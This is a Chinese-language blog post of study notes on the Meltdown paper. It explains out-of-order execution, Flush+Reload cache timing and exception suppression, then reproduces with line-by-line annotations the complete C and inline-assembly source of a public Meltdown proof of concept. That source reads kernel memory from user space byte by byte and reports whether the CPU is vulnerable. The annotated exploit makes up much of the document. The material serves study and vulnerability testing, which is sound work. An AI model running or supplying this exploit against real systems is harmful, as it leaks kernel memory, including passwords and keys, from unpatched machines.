1. 程式人生 > >Meltdown Reading Kernel Memory from User Space

Meltdown Reading Kernel Memory from User Space

Meltdown: Reading Kernel Memory from User Space

  1. 摘要:

    • 計算機系統的安全從根本上依賴於記憶體隔離,例如,核心地址範圍被標記為不可訪問,並被保護不受使用者訪問
    • Meltdown(熔斷):利用現代處理器的亂序執行所帶來的副作用,可以讀取任意核心記憶體的位置。
    • Meltdown獨立於作業系統,不依賴於任何軟體漏洞,並且破壞了由地址空間隔離和半虛擬化環境提供的所有安全保證
    • KAISER對於Meltdown有一定的阻礙作用
  2. 熔斷是一種新穎的攻擊方式,通過為任何使用者程序提供一種簡單的方式來讀取它所執行的機器的整個核心記憶體,包括對映在核心區域中的所有實體記憶體,從而完全克服記憶體隔離。

  3. 側通道攻擊通常需要目標應用程式的非常具體的知識,並且只針對需要洩露的機密資訊進行定製設計。但是meltdown則不需要如此麻煩,並且能力更加強大

  4. 亂序執行個一個重要問題:亂序CPU允許非特權程序將資料從特權(核心/物理)地址載入到臨時CPU暫存器中,同時甚至基於這個暫存器值執行進一步的計算。當CPU發現這條指令不應該被執行時,會刪除修改的暫存器狀態等,在這種情況下,處理器在體系結構層面不會有安全問題發生。但是這種不應該執行的指令有可能會影響cache,並且影響的結果沒有被刪除,此時通過cache的側通道攻擊就可能會出現問題。

  5. 熔斷允許非特權程序讀取對映到核心地址空間的資料,包括linux,android,OS X,和windows上的大部分實體記憶體

  6. 地址空間:

    • 當前程序使用的頁表位置儲存在一個特殊的CPU暫存器中,當程序上下文切換時,OS將下一個程序的頁表地址放入暫存器中,以實現每個程序的虛擬地址空間
    • 每個虛擬地址空間被劃分為使用者和核心部分。執行的應用程式可以訪問使用者空間,但是核心地址空間只有特權模式下的CPU才能訪問
    • 核心地址空間不僅具有為核心自身使用而對映的記憶體,還需要在使用者的頁面中執行操作,例如填充資料到頁面,因此整個實體記憶體通常會被對映到核心中。在linux/OS X上,這個過程通過直接物理對映完成,即整個記憶體直接對映到預定的虛擬地址。在windows中,並不是用直接對映,而是使用另一種機制,但也會將大部分實體記憶體對映到每個程序的核心地址空間
  7. cache攻擊

    • 主要利用cache在訪問時(hit/miss)的時間差異來進行攻擊。
    • 攻擊手段:evict+time,prime+probe,flush+reload
    • Flush+reload攻擊的粒度是cache line,主要利用LLC的共享性。攻擊者使用clflush指令頻繁的重新整理目標記憶體位置。通過測量重新載入資料所需要的時間,判斷資料是否同時被另一個程序載入到快取中。
  8. 在亂序執行中的指令對於暫存器或者儲存器沒有任何可見的體系結構效應,但是確實有微架構的副作用。在亂序執行的過程中,引用的記憶體會被儲存到cache中,如果指令被丟棄,但是cache的內容卻不會被改變,此時就可以用cache的側通道攻擊

  9. 一個簡單的示例:

    • 理論上,程式碼中的access行為永遠都不會執行,由於異常處理,但是亂序執行可能會已經執行了訪問資料的執行,因為它不存在對異常的依賴
    • access指令儘管在異常發生後會進行回退,但是cache的狀態這個時候可能就已經發生了變化,之後就可以利用cache的側通道攻擊,得到data的實際資訊
    • 當資料data乘以4096,則訪問的資料將會分散到整個陣列中,距離為4KB,此時資料到記憶體頁的對映即為單射。此時如果頁內的cache line如果被cached,則資料的具體值將可以得到。此時預取程式由於不能夠跨越頁面邊界訪問資料,所以此時不會出現預取的影響
    //該異常為使用者程式訪問核心空間的地址,取到的資料將會是data
    raise_exception();
    //the line below is never reached
    access(probe_array[data*4096]);
    
  10. 異常的處理:由於使用者訪問了不可訪問的地址,會出現相應的異常,為了不終止程式的執行,必須處理異常

    • 異常處理:捕捉有效的異常。
      • 一個簡單的方法:在攻擊程式訪問終止程序的無效記憶體位置之前,對程序進行克隆,然後只訪問子程序中的無效記憶體位置。子程序執行訪問任務,父程序進行觀察
      • 安裝一個訊號處理程式,如果發生某些異常,使用這個訊號處理程式執行,從而防止應用程式崩潰
    • 異常抑制:完全阻止異常發生,而在執行完瞬態指令序列之後重定向控制流
      • 阻止異常丟擲。在錯誤發生後進行回滾,體系結構狀態被恢復,但是程式可以繼續執行,而不會中斷
      • 將需要執行的程式碼放在分支指令之後,儘管分支指令會跳轉到其它位置,但是它仍舊可以使用其它辦法,讓其提前執行,同時不會出現異常
  11. x86平臺上的熔斷實現的核心指令序列

    ;rcx=kernel address
    ;rbx=probe array
    retry:
    	;讀取核心資料,利用CPU的亂序執行特性,在非法記憶體訪問和異常發生之間的短暫空擋中執行指令
    	mov al,byte [rcx]
    	;data*4KB,進行雜湊對映
    	shl rax,0xc
    	;重試邏輯:如果讀取0,重試(防止噪聲偏差)
    	jz retry
    	;傳遞核心資料
    	mov rbx,qword [rbx+rax]
    
  12. 重試邏輯的解釋

    • 如果異常發生在正在讀取非法核心地址的時候觸發了,此時會將儲存資料的暫存器輸出為0,以防止在異常處理之前,不會被觀察到
    • 在上面的情況下,攻擊者會讀取到一個錯誤值,為了防止錯誤的值被繼續執行,此時使用重試邏輯,重新讀取地址,直到遇到一個不為零的值
    • 當讀取值不為0,或者無效記憶體訪問引發的異常都會導致迴圈終止。
  13. 異常抑制的一種實現:intel TSX(Transactional Synchronization Extension)異常抑制

    • 使用intel TSX時,可以將多條指令組合到一個事務中,從而將其看作一個原子操作,即全部執行或者全部不執行。如果事務中一條指令失敗,已經執行的指令將會被恢復,但不會產生異常
    • 將之前的程式碼使用TSX封裝,此時微體系結構的效果仍舊可見,並且執行速度更快
  14. meltdown程式碼解析(源自github:https://github.com/paboldin/meltdown-exploit)

    #define _GNU_SOURCE
    
    #include <stdio.h>
    #include <string.h>
    #include <signal.h>
    #include <ucontext.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <ctype.h>
    #include <sched.h>
    
    #include <x86intrin.h>
    //github上有介紹
    #include "rdtscp.h"
    
    //#define DEBUG 1
    
    
    #if !(defined(__x86_64__) || defined(__i386__))
    # error "Only x86-64 and i386 are supported at the moment"
    #endif
    
    
    #define TARGET_OFFSET	12
    #define TARGET_SIZE	(1 << TARGET_OFFSET)
    #define BITS_READ	8
    #define VARIANTS_READ	(1 << BITS_READ)
    
    //size = 256*4096 = 1M
    static char target_array[VARIANTS_READ * TARGET_SIZE];
    
    //從cache中清除每個頁面中的一個地址,4K*i
    void clflush_target(void)
    {
    	int i;
    	//VARIANTS_READ 256
    	for (i = 0; i < VARIANTS_READ; i++)
    		//target_size = 4K 一個頁面的大小
    		_mm_clflush(&target_array[i * TARGET_SIZE]);
    }
    
    extern char stopspeculate[];
    
    static void __attribute__((noinline))
    speculate(unsigned long addr)
    {
    	//"__asm__"表示後面的程式碼為內嵌彙編,asm為別名	
    	//"__volatile__"表示編譯器不要優化程式碼,volatile為別名
    #ifdef __x86_64__
    	asm volatile (
    		"1:\n\t"
    		//.rept和.endr都是彙編偽指令,times是一個數字,表示code這段程式碼要重複執行的次數
    		// 在嵌入彙編語句暫存器名稱前就必須寫上兩個百分號“%%”
    		//重複三百次的執行,並沒有任何其它的含義,可以忽略
    		".rept 300\n\t"
    		"add $0x141, %%rax\n\t"
    		".endr\n\t"
    		
    		//movzx無符號擴充套件,並傳送
    		//取到指定的記憶體地址的資料,如果是核心地址空間的,會產生異常,但是異常訊號已經被重新設定
    		//儘管異常會中斷執行,但是由於推測式執行,這條指令產生的行為可能已經使得cache的狀態被改變
    		//即之後的movzx已經開始被執行
    		"movzx (%[addr]), %%eax\n\t"
    		//shl是邏輯左移指令
    		//將記憶體地址對應的資料,左移12位,即乘以4K,換成頁面的大小,以防止預取策略,提前
    		//將之後的資料取到
    		"shl $12, %%rax\n\t"
    		
    		//當零標誌為1時,跳轉到1的地方
    		//重試邏輯,論文中有介紹
    		"jz 1b\n\t"
    		//將移位之後的記憶體資料做為索引,訪問target_array資料的對應位置
    		//之後檢測cache中哪一個array中的位置的資料hit,則可得到記憶體資料
    		//displacement(base,index,scale)
    		"movzx (%[target], %%rax, 1), %%rbx\n"
    
    		"stopspeculate: \n\t"
    		"nop\n\t"
    		://"r" 將輸入變數放入通用暫存器,也就是eax,ebx,ecx,edx,esi,edi中的一個
    		: [target] "r" (target_array),
    		  [addr] "r" (addr)
    		: "rax", "rbx"
    	);
    	
    #else /* ifdef __x86_64__ */
    	asm volatile (
    		"1:\n\t"
    
    		".rept 300\n\t"
    		"add $0x141, %%eax\n\t"
    		".endr\n\t"
    
    		"movzx (%[addr]), %%eax\n\t"
    		"shl $12, %%eax\n\t"
    		"jz 1b\n\t"
    		"movzx (%[target], %%eax, 1), %%ebx\n"
    
    
    		"stopspeculate: \n\t"
    		"nop\n\t"
    		:
    		: [target] "r" (target_array),
    		  [addr] "r" (addr)
    		: "rax", "rbx"
    	);
    #endif
    }
    
    
    static int cache_hit_threshold;
    //VARIANTS_READ 256
    
    //初始化hist資料,用於紀錄256個位置hit/miss的資訊
    static int hist[VARIANTS_READ];
    //訪問array陣列中,前256個4K位置處的資料是否載入到cache中
    //根據access_time判斷是否發生hit
    //mix_i的範圍仍舊是0-255,但是相對於使用i直接索引,根據有隨機性,防止被預測到
    void check(void)
    {
    	int i, time, mix_i;
    	volatile char *addr;
    
    	//VARIANTS_READ 256
    	for (i = 0; i < VARIANTS_READ; i++) {
    		//防止被預測到
    		mix_i = ((i * 167) + 13) & 255;
    		//TARGET_SIZE=4K
    		addr = &target_array[mix_i * TARGET_SIZE];
    		time = get_access_time(addr);
    
    		if (time <= cache_hit_threshold)
    			hist[mix_i]++;
    	}
    }
    //更改處理器的異常資訊的處理
    void sigsegv(int sig, siginfo_t *siginfo, void *context)
    {
    	ucontext_t *ucontext = context;
    
    #ifdef __x86_64__
    	ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
    #else
    	ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
    #endif
    	return;
    }
    
    int set_signal(void)
    {
    	struct sigaction act = {
    		.sa_sigaction = sigsegv,
    		.sa_flags = SA_SIGINFO,
    	};
    
    	return sigaction(SIGSEGV, &act, NULL);
    }
    
    #define CYCLES 1000
    //讀取記憶體地址
    int readbyte(int fd, unsigned long addr)
    {
    	int i, ret = 0, max = -1, maxi = -1;
    	static char buf[256];
    	//初始化hist為零,用於每次重新統計
    	memset(hist, 0, sizeof(hist));
    
    	for (i = 0; i < CYCLES; i++) {
    		ret = pread(fd, buf, sizeof(buf), 0);
    		if (ret < 0) {
    			perror("pread");
    			break;
    		}
    		
    		//從cache中清除array每個頁面中的第一個地址,4K*i
    		clflush_target();
    		//等待這些清除操作真實被執行結束
    		_mm_mfence();
    		//執行推測指令(彙編指令)
    		speculate(addr);
    		//統計cache中array的hit/miss資訊
    		check();
    	}
    
    #ifdef DEBUG
    	//VARIANTS_READ 256
    	for (i = 0; i < VARIANTS_READ; i++)
    		if (hist[i] > 0)
    			printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]);
    #endif
    	//VARIANTS_READ 256
    	//根據hist的結果,找到hit次數最多的位置,此時索引即為記憶體中的資料
    	for (i = 1; i < VARIANTS_READ; i++) {
    		if (!isprint(i))
    			continue;
    		if (hist[i] && hist[i] > max) {
    			max = hist[i];
    			maxi = i;
    		}
    	}
    
    	return maxi;
    }
    
    static char *progname;
    int usage(void)
    {
    	printf("%s: [hexaddr] [size]\n", progname);
    	return 2;
    }
    
    static int mysqrt(long val)
    {
    	int root = val / 2, prevroot = 0, i = 0;
    
    	while (prevroot != root && i++ < 100) {
    		prevroot = root;
    		root = (val / root + root) / 2;
    	}
    
    	return root;
    }
    
    #define ESTIMATE_CYCLES	1000000
    static void set_cache_hit_threshold(void)
    {
    	long cached, uncached, i;
    
    	if (0) {
    		cache_hit_threshold = 80;
    		return;
    	}
    
    	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
    		cached += get_access_time(target_array);
    
    	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
    		cached += get_access_time(target_array);
    
    	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
    		_mm_clflush(target_array);
    		uncached += get_access_time(target_array);
    	}
    
    	cached /= ESTIMATE_CYCLES;
    	uncached /= ESTIMATE_CYCLES;
    
    	cache_hit_threshold = mysqrt(cached * uncached);
    
    	printf("cached = %ld, uncached = %ld, threshold %d\n",
    	       cached, uncached, cache_hit_threshold);
    }
    
    static int min(int a, int b)
    {
    	return a < b ? a : b;
    }
    
    //執行緒繫結CPU核
    static void pin_cpu0()
    {
    	cpu_set_t mask;
    
    	/* PIN to CPU0 */
    	CPU_ZERO(&mask);
    	CPU_SET(0, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);
    }
    
    int main(int argc, char *argv[])
    {
    	int ret, fd, i, score, is_vulnerable;
    	unsigned long addr, size;
    	static char expected[] = "%s version %s";
    
    	progname = argv[0];
    	if (argc < 3)
    		return usage();
    
    	if (sscanf(argv[1], "%lx", &addr) != 1)
    		return usage();
    
    	if (sscanf(argv[2], "%lx", &size) != 1)
    		return usage();
    
    	memset(target_array, 1, sizeof(target_array));
    
    	ret = set_signal();
    	//執行緒繫結CPU核
    	pin_cpu0();
    
    	//統計得到較為精確的cache命中時間和缺失時間
    	set_cache_hit_threshold();
    
    	fd = open("/proc/version", O_RDONLY);
    	if (fd < 0) {
    		perror("open");
    		return -1;
    	}
    
    	for (score = 0, i = 0; i < size; i++) {
    		//addr為使用者輸入的記憶體地址(目前暫定為實體地址)
    		ret = readbyte(fd, addr);
    		if (ret == -1)
    			ret = 0xff;
    		printf("read %lx = %x %c (score=%d/%d)\n",
    		       addr, ret, isprint(ret) ? ret : ' ',
    		       ret != 0xff ? hist[ret] : 0,
    		       CYCLES);
    
    		if (i < sizeof(expected) &&
    		    ret == expected[i])
    			score++;
    
    		addr++;
    	}
    
    	close(fd);
    
    	is_vulnerable = score > min(size, sizeof(expected)) / 2;
    
    	if (is_vulnerable)
    		fprintf(stderr, "VULNERABLE\n");
    	else
    		fprintf(stderr, "NOT VULNERABLE\n");
    
    	exit(is_vulnerable);
    }